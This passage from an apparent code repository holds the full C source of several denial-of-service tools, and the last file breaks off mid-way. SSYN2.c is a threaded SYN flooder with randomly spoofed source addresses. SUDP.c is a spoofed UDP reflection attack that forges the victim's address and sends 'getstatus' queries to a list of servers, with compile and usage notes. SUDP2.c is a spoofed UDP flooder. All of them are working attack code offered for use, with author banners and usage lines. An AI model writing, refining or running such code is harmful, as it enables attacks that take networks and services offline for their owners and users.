579 |         memmove(s, s + n, l - n + 1);
580 |         return n;
581 | }
582 | 


--------------------------------------------------------------------------------
/SSYN2.c:
--------------------------------------------------------------------------------
  1 | #include <pthread.h>
  2 | #include <unistd.h>
  3 | #include <stdio.h>
  4 | #include <stdlib.h>
  5 | #include <string.h>
  6 | #include <sys/socket.h>
  7 | #include <netinet/ip.h>
  8 | #include <netinet/tcp.h>
  9 |  
 10 | #define MAX_PACKET_SIZE 4096
 11 | #define PHI 0x9e3779b9
 12 |  
 13 | static uint32_t Q[4096], c = 362436;
 14 | 
 15 | struct thread_data{
 16 | 	int thread_id;
 17 | 	unsigned int floodport;
 18 | 	struct sockaddr_in sin;
 19 | };
 20 |  
 21 | void init_rand(uint32_t x)
 22 | {
 23 |         int i;
 24 |  
 25 |         Q[0] = x;
 26 |         Q[1] = x + PHI;
 27 |         Q[2] = x + PHI + PHI;
 28 |  
 29 |         for (i = 3; i < 4096; i++)
 30 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 31 | }
 32 |  
 33 | uint32_t rand_cmwc(void)
 34 | {
 35 |         uint64_t t, a = 18782LL;
 36 |         static uint32_t i = 4095;
 37 |         uint32_t x, r = 0xfffffffe;
 38 |         i = (i + 1) & 4095;
 39 |         t = a * Q[i] + c;
 40 |         c = (t >> 32);
 41 |         x = t + c;
 42 |         if (x < c) {
 43 |                 x++;
 44 |                 c++;
 45 |         }
 46 |         return (Q[i] = r - x);
 47 | }
 48 | 
 49 | /* function for header checksums */
 50 | unsigned short csum (unsigned short *buf, int nwords)
 51 | {
 52 |   unsigned long sum;
 53 |   for (sum = 0; nwords > 0; nwords--)
 54 |   sum += *buf++;
 55 |   sum = (sum >> 16) + (sum & 0xffff);
 56 |   sum += (sum >> 16);
 57 |   return (unsigned short)(~sum);
 58 | }
 59 | void setup_ip_header(struct iphdr *iph)
 60 | {
 61 |   iph->ihl = 5;
 62 |   iph->version = 4;
 63 |   iph->tos = 0;
 64 |   iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 65 |   iph->id = htonl(54321);
 66 |   iph->frag_off = 0;
 67 |   iph->ttl = MAXTTL;
 68 |   iph->protocol = 6;  // upper layer protocol, TCP
 69 |   iph->check = 0;
 70 | 
 71 |   // Initial IP, changed later in infinite loop
 72 |   iph->saddr = inet_addr("192.168.3.100");
 73 | }
 74 | 
 75 | void setup_tcp_header(struct tcphdr *tcph)
 76 | {
 77 |   tcph->source = htons(5678);
 78 |   tcph->seq = random();
 79 |   tcph->ack_seq = 0;
 80 |   tcph->res2 = 0;
 81 |   tcph->doff = 5; // Make it look like there will be data
 82 |   tcph->syn = 1;
 83 |   tcph->window = htonl(65535);
 84 |   tcph->check = 0;
 85 |   tcph->urg_ptr = 0;
 86 | }
 87 | 
 88 | void *flood(void *par1)
 89 | {
 90 |   struct thread_data *td = (struct thread_data *)par1;
 91 |   char datagram[MAX_PACKET_SIZE];
 92 |   struct iphdr *iph = (struct iphdr *)datagram;
 93 |   struct tcphdr *tcph = (/*u_int8_t*/void *)iph + (5 * sizeof(u_int32_t));
 94 |   struct sockaddr_in sin = td->sin;
 95 |   char new_ip[sizeof "255.255.255.255"];
 96 | 
 97 |   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 98 |   if(s < 0){
 99 |     fprintf(stderr, "Could not open raw socket.\n");
100 |     exit(-1);
101 |   }
102 | 
103 |   unsigned int floodport = td->floodport;
104 | 
105 |   // Clear the data
106 |   memset(datagram, 0, MAX_PACKET_SIZE);
107 | 
108 |   // Set appropriate fields in headers
109 |   setup_ip_header(iph);
110 |   setup_tcp_header(tcph);
111 | 
112 |   tcph->dest = htons(floodport);
113 | 
114 |   iph->daddr = sin.sin_addr.s_addr;
115 |   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
116 | 
117 |   int tmp = 1;
118 |   const int *val = &tmp;
119 |   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
120 |     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
121 |     exit(-1);
122 |   }
123 | 
124 |   uint32_t random_num;
125 |   uint32_t ul_dst;
126 |   init_rand(time(NULL));
127 |   while(1){
128 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
129 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
130 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
131 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
132 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
133 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
134 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
135 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
136 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
137 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
138 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
139 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
140 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
141 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
142 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
143 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
144 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
145 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
146 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
147 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
148 |     random_num = rand_cmwc();
149 | 
150 |     ul_dst = (random_num >> 24 & 0xFF) << 24 |
151 |              (random_num >> 16 & 0xFF) << 16 |
152 |              (random_num >> 8 & 0xFF) << 8 |
153 |              (random_num & 0xFF);
154 | 
155 |     iph->saddr = ul_dst;
156 |     tcph->source = htons(random_num & 0xFFFF);
157 |     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
158 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
159 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
160 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
161 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
162 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
163 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
164 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
165 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
166 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
167 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
168 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
169 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
170 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
171 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
172 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
173 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
174 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
175 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
176 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
177 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
178 |     random_num = rand_cmwc();
179 | 
180 |     ul_dst = (random_num >> 24 & 0xFF) << 24 |
181 |              (random_num >> 16 & 0xFF) << 16 |
182 |              (random_num >> 8 & 0xFF) << 8 |
183 |              (random_num & 0xFF);
184 | 
185 |     iph->saddr = ul_dst;
186 |     tcph->source = htons(random_num & 0xFFFF);
187 |     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
188 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
189 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
190 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
191 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
192 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
193 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
194 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
195 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
196 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
197 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
198 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
199 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
200 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
201 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
202 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
203 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
204 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
205 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
206 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
207 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
208 |     random_num = rand_cmwc();
209 | 
210 |     ul_dst = (random_num >> 24 & 0xFF) << 24 |
211 |              (random_num >> 16 & 0xFF) << 16 |
212 |              (random_num >> 8 & 0xFF) << 8 |
213 |              (random_num & 0xFF);
214 | 
215 |     iph->saddr = ul_dst;
216 |     tcph->source = htons(random_num & 0xFFFF);
217 |     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
218 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
219 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
220 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
221 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
222 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
223 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
224 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
225 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
226 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
227 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
228 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
229 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
230 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
231 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
232 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
233 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
234 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
235 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
236 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
237 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
238 |     random_num = rand_cmwc();
239 | 
240 |     ul_dst = (random_num >> 24 & 0xFF) << 24 |
241 |              (random_num >> 16 & 0xFF) << 16 |
242 |              (random_num >> 8 & 0xFF) << 8 |
243 |              (random_num & 0xFF);
244 | 
245 |     iph->saddr = ul_dst;
246 |     tcph->source = htons(random_num & 0xFFFF);
247 |     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
248 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
249 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
250 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
251 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
252 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
253 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
254 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
255 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
256 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
257 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
258 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
259 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
260 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
261 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
262 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
263 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
264 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
265 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
266 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
267 |     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
268 |    random_num = rand_cmwc();
269 | 
270 |     ul_dst = (random_num >> 24 & 0xFF) << 24 |
271 |              (random_num >> 16 & 0xFF) << 16 |
272 |              (random_num >> 8 & 0xFF) << 8 |
273 |              (random_num & 0xFF);
274 | 
275 |     iph->saddr = ul_dst;
276 |     tcph->source = htons(random_num & 0xFFFF);
277 |     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
278 |   }
279 | }
280 | int main(int argc, char *argv[ ])
281 | {
282 |   if(argc < 4){
283 |     fprintf(stderr, "Invalid parameters!\n");
284 |     fprintf(stdout, "Spoofed SYN Flooder v1.6.1 FINAL by ohnoes1479\nUsage: %s <target IP/hostname> <port to be flooded> <number threads to use> <time (optional)>\n", argv[0]);
285 |     exit(-1);
286 |   }
287 | 
288 |   fprintf(stdout, "Setting up Sockets...\n");
289 | 
290 |   int num_threads = atoi(argv[3]);
291 |   unsigned int floodport = atoi(argv[2]);
292 |   pthread_t thread[num_threads];
293 |   struct sockaddr_in sin;
294 | 
295 |   sin.sin_family = AF_INET;
296 |   sin.sin_port = htons(floodport);
297 |   sin.sin_addr.s_addr = inet_addr(argv[1]);
298 | 
299 |   struct thread_data td[num_threads];
300 | 
301 |   int i;
302 |   for(i = 0;i<num_threads;i++){
303 |     td[i].thread_id = i;
304 |     td[i].sin = sin;
305 |     td[i].floodport = floodport;
306 |     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
307 |   }
308 |   fprintf(stdout, "Starting Flood...\n");
309 |   if(argc > 4)
310 |   {
311 |     sleep(atoi(argv[4]));
312 |   } else {
313 |     while(1){
314 |       sleep(1);
315 |     }
316 |   }
317 | 
318 |   return 0;
319 | }
320 | 


--------------------------------------------------------------------------------
/SUDP.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |   
  3 | 	--Note by MFJC--
  4 | 	Compile:
  5 | 		apt-get update
  6 | 		apt-get install gcc
  7 | 		gcc udp.c -pthread
  8 | 	Usage: ./a.out ip port time ipfile.txt message
  9 | */
 10 | #include <stdio.h>
 11 | #include <stdlib.h>
 12 | #include <netinet/tcp.h>
 13 | #include <netinet/udp.h>
 14 | #include <netinet/ip.h>
 15 | #include <pthread.h>
 16 | 
 17 | void D(char *message)
 18 | {
 19 | 	printf(message);
 20 | 	fflush(stdout);
 21 | }
 22 | 
 23 | typedef struct file_list
 24 | {
 25 | 	unsigned long ip;
 26 | 	int port;
 27 | };
 28 | 
 29 | typedef struct pthread_param
 30 | {
 31 | 	unsigned long victim_ip;
 32 | 	int victim_port;
 33 | 	struct file_list *list;
 34 | 	int list_size;
 35 | 	char *message;
 36 | };
 37 | 
 38 | typedef struct pseudo_header
 39 | {
 40 |     unsigned int source_address;
 41 |     unsigned int dest_address;
 42 |     unsigned char placeholder;
 43 |     unsigned char protocol;
 44 |     unsigned short tcp_length;
 45 |     struct tcphdr tcp;
 46 | };
 47 | 
 48 | void attack(unsigned long srcip, int srcport, unsigned long destip, int destport, char *message)
 49 | {
 50 |     int s = socket (PF_INET, SOCK_RAW, IPPROTO_UDP);
 51 |     char packet[4096];
 52 |     struct iphdr *iph = (struct iphdr *) packet;
 53 |     // struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
 54 | 	struct udphdr *udph = (struct udphdr *) (packet + sizeof(struct ip));
 55 |     struct sockaddr_in sin;
 56 |     struct pseudo_header psh;
 57 |  
 58 |     sin.sin_family = AF_INET;
 59 |     sin.sin_port = htons(destport);
 60 |     sin.sin_addr.s_addr = destip;
 61 |  
 62 |     memset (packet, 0, 4096);
 63 |  
 64 |     iph->ihl = 5;
 65 |     iph->version = 4;
 66 |     iph->tos = 16;
 67 |     iph->tot_len = sizeof (struct ip) + sizeof (struct udphdr) + strlen(message);
 68 |     iph->id = htonl (54321); 
 69 |     iph->frag_off = 0;
 70 |     iph->ttl = 255;
 71 |     iph->protocol = IPPROTO_UDP;
 72 |     iph->check = 0; 
 73 |     iph->saddr = srcip; 
 74 |     iph->daddr = sin.sin_addr.s_addr;
 75 |  
 76 | 	udph->source = htons(srcport);
 77 |     // Destination port number
 78 |     udph->dest = htons(destport);
 79 |     udph->len = htons(sizeof(struct udphdr));
 80 | 	udph->check = 0; //Kernel fill this in?
 81 | 	
 82 | 	strncpy((char *)udph + sizeof (struct udphdr),message, 4096 - (sizeof (struct udphdr) + sizeof (struct ip)));
 83 | 	
 84 |     //IP_HDRINCL needed for own headers
 85 | 	int one = 1;
 86 | 	const int *val = &one;
 87 | 	if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
 88 | 	{
 89 | 		printf ("[x] Cannot set socket options (are we r00t?)\n");
 90 | 		return;
 91 | 	}
 92 |  
 93 | 	if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
 94 | 		printf ("[x] Error sending packet\n");
 95 |  
 96 | 	close(s);
 97 |     return;
 98 | }
 99 | 
100 | void *thread_attack(void *thread_params)
101 | {
102 | 	struct pthread_param *params = thread_params;
103 | 	int i;
104 | 	
105 | 	while (1)
106 | 		for (i = 0; i < params->list_size; i++)
107 | 			attack(params->victim_ip, rand() % 65534 + 1, params->list[i].ip, params->list[i].port, params->message);
108 | 			// Hmm should we use random port or params->victim_port?
109 | }
110 |  
111 | char *getLine(FILE *f)
112 | {
113 | 	char *buffer = malloc(sizeof(char));
114 | 	int pos = 0;
115 | 	char c;
116 | 
117 | 	do { // read one line
118 | 		c = fgetc(f);
119 | 		if(c != EOF) buffer[pos++] = (char)c;
120 | 		buffer = (char*)realloc(buffer, sizeof(char) * (pos + 2));
121 | 	} while (c != EOF && c != '\n');
122 | 	
123 | 	return buffer;
124 | } 
125 |  
126 | int main (int argc, char *argv[])
127 | {
128 | 	struct file_list *list = NULL;
129 | 	int list_size = 0;
130 | 	
131 | 	struct pthread_param param;
132 | 	pthread_t udp_attack;
133 | 	
134 | 	printf("Spoofed UDP Attack\n");
135 | 	printf("          by eKKiM\n");
136 | 	printf("          for Orgy\n\n");
137 | 	
138 | 	if (argc != 6)
139 | 	{
140 | 		printf("Usage: %s <destip> <destport> <ip_file_list> <time in seconds> <message>\n", argv[0]);
141 | 		return -1;
142 | 	}
143 | 	
144 | 	srand(time(0));
145 | 	
146 | 	FILE *pFile = fopen(argv[3], "r");
147 | 	if (pFile == NULL)
148 | 	{
149 | 		printf("[X] Cannot open file\n");
150 | 		return -1;
151 | 	}
152 | 	
153 | 	while (!feof(pFile))
154 | 	{
155 | 		char *line;
156 | 		line = getLine(pFile);
157 | 		char ip[1024];
158 | 		int port;
159 | 
160 | 		if (sscanf(line, "%99[^:]:%99d", ip, &port) == 2)
161 | 		{
162 | 			list_size++;
163 | 			list = (struct file_list *) realloc(list, sizeof(struct file_list) * list_size);
164 | 			list[list_size - 1].ip = inet_addr(ip);
165 | 			list[list_size - 1].port = port;
166 | 		}
167 | 		free(line);
168 | 	}
169 | 	
170 | 	fclose(pFile);
171 | 	
172 | 	param.victim_ip = inet_addr(argv[1]);
173 | 	param.victim_port = atoi(argv[2]);
174 | 	
175 | 	param.list = list;
176 | 	param.list_size = list_size;
177 | 	
178 | 	param.message = "\xFF\xFF\xFF\xFF\x67\x65\x74\x73\x74\x61\x74\x75\x73\x10";
179 | 
180 | 	pthread_create( &udp_attack, NULL, thread_attack, (void*) &param);
181 | 	
182 | 	printf("[*] Attacking..\n");
183 | 	sleep(atoi(argv[4]));
184 | 	printf("[!] Done\n");
185 | 	return 0;
186 | }


--------------------------------------------------------------------------------
/SUDP2.c:
--------------------------------------------------------------------------------
  1 | #include <time.h>
  2 | #include <pthread.h>
  3 | #include <unistd.h>
  4 | #include <stdio.h>
  5 | #include <stdlib.h>
  6 | #include <string.h>
  7 | #include <sys/socket.h>
  8 | #include <netinet/ip.h>
  9 | #include <netinet/udp.h>
 10 |  
 11 | #define MAX_PACKET_SIZE 4096
 12 | #define PHI 0x9e3779b9
 13 |  
 14 | static uint32_t Q[4096], c = 362436;
 15 | 
 16 | struct thread_data{
 17 |         int throttle;
 18 | 	int thread_id;
 19 | 	unsigned int floodport;
 20 | 	struct sockaddr_in sin;
 21 | };
 22 |  
 23 | void init_rand(uint32_t x)
 24 | {
 25 |         int i;
 26 |  
 27 |         Q[0] = x;
 28 |         Q[1] = x + PHI;
 29 |         Q[2] = x + PHI + PHI;
 30 |  
 31 |         for (i = 3; i < 4096; i++)
 32 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 33 | }
 34 |  
 35 | uint32_t rand_cmwc(void)
 36 | {
 37 |         uint64_t t, a = 18782LL;
 38 |         static uint32_t i = 4095;
 39 |         uint32_t x, r = 0xfffffffe;
 40 |         i = (i + 1) & 4095;
 41 |         t = a * Q[i] + c;
 42 |         c = (t >> 32);
 43 |         x = t + c;
 44 |         if (x < c) {
 45 |                 x++;
 46 |                 c++;
 47 |         }
 48 |         return (Q[i] = r - x);
 49 | }
 50 | 
 51 | char *myStrCat (char *s, char *a) {
 52 |     while (*s != '\0') s++;
 53 |     while (*a != '\0') *s++ = *a++;
 54 |     *s = '\0';
 55 |     return s;
 56 | }
 57 | 
 58 | char *replStr (char *str, size_t count) {
 59 |     if (count == 0) return NULL;
 60 |     char *ret = malloc (strlen (str) * count + count);
 61 |     if (ret == NULL) return NULL;
 62 |     *ret = '\0';
 63 |     char *tmp = myStrCat (ret, str);
 64 |     while (--count > 0) {
 65 |         tmp = myStrCat (tmp, str);
 66 |     }
 67 |     return ret;
 68 | }
 69 | 
 70 | 
 71 | /* function for header checksums */
 72 | unsigned short csum (unsigned short *buf, int nwords)
 73 | {
 74 |   unsigned long sum;
 75 |   for (sum = 0; nwords > 0; nwords--)
 76 |   sum += *buf++;
 77 |   sum = (sum >> 16) + (sum & 0xffff);
 78 |   sum += (sum >> 16);
 79 |   return (unsigned short)(~sum);
 80 | }
 81 | void setup_ip_header(struct iphdr *iph)
 82 | {
 83 |   iph->ihl = 5;
 84 |   iph->version = 4;
 85 |   iph->tos = 0;
 86 |   iph->tot_len = sizeof(struct iphdr) + 1028;
 87 |   iph->id = htonl(54321);
 88 |   iph->frag_off = 0;
 89 |   iph->ttl = MAXTTL;
 90 |   iph->protocol = IPPROTO_UDP;
 91 |   iph->check = 0;
 92 | 
 93 |   // Initial IP, changed later in infinite loop
 94 |   iph->saddr = inet_addr("192.168.3.100");
 95 | }
 96 | 
 97 | void setup_udp_header(struct udphdr *udph)
 98 | {
 99 |   udph->source = htons(5678);
100 |   udph->check = 0;
101 |   char *data = (char *)udph + sizeof(struct udphdr);
102 |   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
103 |   udph->len=htons(1028);
104 | }
105 | 
106 | void *flood(void *par1)
107 | {
108 |   struct thread_data *td = (struct thread_data *)par1;
109 |   fprintf(stdout, "Thread %d started\n", td->thread_id);
110 |   char datagram[MAX_PACKET_SIZE];
111 |   struct iphdr *iph = (struct iphdr *)datagram;
112 |   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
113 |   struct sockaddr_in sin = td->sin;
114 |   char new_ip[sizeof "255.255.255.255"];
115 | 
116 |   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
117 |   if(s < 0){
118 |     fprintf(stderr, "Could not open raw socket.\n");
119 |     exit(-1);
120 |   }
121 | 
122 |   unsigned int floodport = td->floodport;
123 | 
124 |   // Clear the data
125 |   memset(datagram, 0, MAX_PACKET_SIZE);
126 | 
127 |   // Set appropriate fields in headers
128 |   setup_ip_header(iph);
129 |   setup_udp_header(udph);
130 | 
131 |   udph->dest = htons(floodport);
132 | 
133 |   iph->daddr = sin.sin_addr.s_addr;
134 |   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
135 | 
136 |   int tmp = 1;
137 |   const int *val = &tmp;
138 |   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
139 |     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
140 |     exit(-1);
141 |   }
142 | 
143 |   int throttle = td->throttle;
144 | 
145 |   uint32_t random_num;
146 |   uint32_t ul_dst;
147 |   init_rand(time(NULL));
148 |   if(throttle == 0){
149 |     while(1){
150 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
151 |       random_num = rand_cmwc();
152 | 
153 |       ul_dst = (random_num >> 24 & 0xFF) << 24 |
154 |                (random_num >> 16 & 0xFF) << 16 |
155 |                (random_num >> 8 & 0xFF) << 8 |
156 |                (random_num & 0xFF);
157 | 
158 |       iph->saddr = ul_dst;
159 |       udph->source = htons(random_num & 0xFFFF);
160 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
161 |     }
162 |   } else {
163 |     while(1){
164 |       throttle = td->throttle;
165 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
166 |       random_num = rand_cmwc();
167 | 
168 |       ul_dst = (random_num >> 24 & 0xFF) << 24 |
169 |                (random_num >> 16 & 0xFF) << 16 |
170 |                (random_num >> 8 & 0xFF) << 8 |
171 |                (random_num & 0xFF);
172 | 
173 |       iph->saddr = ul_dst;
174 |       udph->source = htons(random_num & 0xFFFF);
175 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
176 | 
177 |      while(--throttle);
178 |     }
179 |   }
180 | }
181 | int main(int argc, char *argv[ ])
182 | {
183 |   if(argc < 5){
184 |     fprintf(stderr, "Invalid parameters!\n");
185 |     fprintf(stdout, "Spoofed UDP Flooder v2.5.3 FINAL by ohnoes1479\nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <number threads to use> <time (optional)>\n", argv[0]);
186 |     exit(-1);
187 |   }
188 | 
189 |   fprintf(stdout, "Setting up Sockets...\n");
190 | 
191 |   int num_threads = atoi(argv[4]);
192 |   unsigned int floodport = atoi(argv[2]);
193 |   pthread_t thread[num_threads];
194 |   struct sockaddr_in sin;
195 | 
196 |   sin.sin_family = AF_INET;
197 |   sin.sin_port = htons(floodport);
198 |   sin.sin_addr.s_addr = inet_addr(argv[1]);
199 | 
200 |   struct thread_data td[num_threads];
201 | 
202 |   int i;
203 |   for(i = 0;i<num_threads;i++){
204 |     td[i].thread_id = i;
205 |     td[i].sin = sin;
